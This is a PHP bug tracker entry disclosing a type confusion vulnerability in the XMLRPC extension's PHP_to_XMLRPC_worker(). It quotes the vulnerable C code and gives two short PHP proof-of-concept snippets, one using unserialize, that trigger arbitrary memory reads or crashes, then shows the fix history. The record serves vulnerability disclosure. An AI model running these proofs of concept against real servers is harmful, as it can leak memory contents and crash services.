Type Confusion Vulnerability in PHP_to_XMLRPC_worker()
| Sec Bug #70728 | Type Confusion Vulnerability in PHP_to_XMLRPC_worker() | ||||
|---|---|---|---|---|---|
| Submitted: | 2015-10-16 16:46 UTC | Modified: | 2016-01-06 03:18 UTC | ||
| From: | taoguangchen at icloud dot com | Assigned: | jpauli (profile) | ||
| Status: | Closed | Package: | XMLRPC-EPI related | ||
| PHP Version: | Irrelevant | OS: | * | ||
| Private report: | No | CVE-ID: | None | ||
[2015-10-16 16:46 UTC] taoguangchen at icloud dot com
Description:
------------
Type Confusion Vulnerability in PHP_to_XMLRPC_worker()
```
static XMLRPC_VALUE PHP_to_XMLRPC_worker (const char* key, zval* in_val, int depth TSRMLS_DC)
{
XMLRPC_VALUE xReturn = NULL;
if (in_val) {
zval* val = NULL;
XMLRPC_VALUE_TYPE type = get_zval_xmlrpc_type(in_val, &val);
if (val) {
switch (type) {
case xmlrpc_base64:
if (Z_TYPE_P(val) == IS_NULL) {
xReturn = XMLRPC_CreateValueEmpty();
XMLRPC_SetValueID(xReturn, key, 0);
} else {
xReturn = XMLRPC_CreateValueBase64(key, Z_STRVAL_P(val), Z_STRLEN_P(val));
}
break;
case xmlrpc_datetime:
convert_to_string(val);
xReturn = XMLRPC_CreateValueDateTime_ISO8601(key, Z_STRVAL_P(val));
break;
...
XMLRPC_VALUE_TYPE get_zval_xmlrpc_type(zval* value, zval** newvalue) /* {{{ */
{
XMLRPC_VALUE_TYPE type = xmlrpc_none;
TSRMLS_FETCH();
if (value) {
switch (Z_TYPE_P(value)) {
...
case IS_OBJECT:
{
zval** attr;
type = xmlrpc_vector;
if (zend_hash_find(Z_OBJPROP_P(value), OBJECT_TYPE_ATTR, sizeof(OBJECT_TYPE_ATTR), (void**) &attr) == SUCCESS) {
if (Z_TYPE_PP(attr) == IS_STRING) {
type = xmlrpc_str_as_type(Z_STRVAL_PP(attr));
}
}
break;
}
}
/* if requested, return an unmolested (magic removed) copy of the value */
if (newvalue) {
zval** val;
if ((type == xmlrpc_base64 && Z_TYPE_P(value) != IS_NULL) || type == xmlrpc_datetime) {
if (zend_hash_find(Z_OBJPROP_P(value), OBJECT_VALUE_ATTR, sizeof(OBJECT_VALUE_ATTR), (void**) &val) == SUCCESS) {
*newvalue = *val;
}
} else {
*newvalue = value;
}
}
```
an attacker can control type and val via get_zval_xmlrpc_type() with a crafted object-type ZVAL, then the Z_STRVAL_P macro and the Z_STRLEN_P macro handles a non-string-type val is able to looking up an arbitrary memory address, this result in leaking arbitrary memory blocks, crash PHP or other issues.
PoC1:
```
$obj = new stdClass;
$obj->xmlrpc_type = 'base64';
$obj->scalar = 0x1122334455;
var_dump(xmlrpc_encode($obj));
```
PoC2:
```
$obj = unserialize('O:8:"stdClass":2:{s:11:"xmlrpc_type";s:6:"base64";s:6:"scalar";R:1;}');
var_dump(xmlrpc_encode($obj));
```
Patches
julien (last revision 2015-12-22 13:21 UTC by jpauli@php.net)Pull Requests
History
AllCommentsChangesGit/SVN commits
[2015-12-22 13:22 UTC] jpauli@php.net
-Status: Open +Status: Assigned -Assigned To: +Assigned To: jpauli
[2015-12-22 13:22 UTC] jpauli@php.net
[2015-12-22 13:32 UTC] taoguangchen at icloud dot com
[2015-12-22 15:37 UTC] jpauli@php.net
-Status: Assigned +Status: Feedback
[2015-12-23 00:29 UTC] taoguangchen at icloud dot com
-Status: Feedback +Status: Assigned
[2015-12-23 00:29 UTC] taoguangchen at icloud dot com
[2015-12-28 22:23 UTC] stas@php.net
[2016-01-06 03:18 UTC] stas@php.net
-Status: Assigned +Status: Closed
[2016-01-06 03:18 UTC] stas@php.net
[2016-02-02 10:36 UTC] korvin1986 at gmail dot com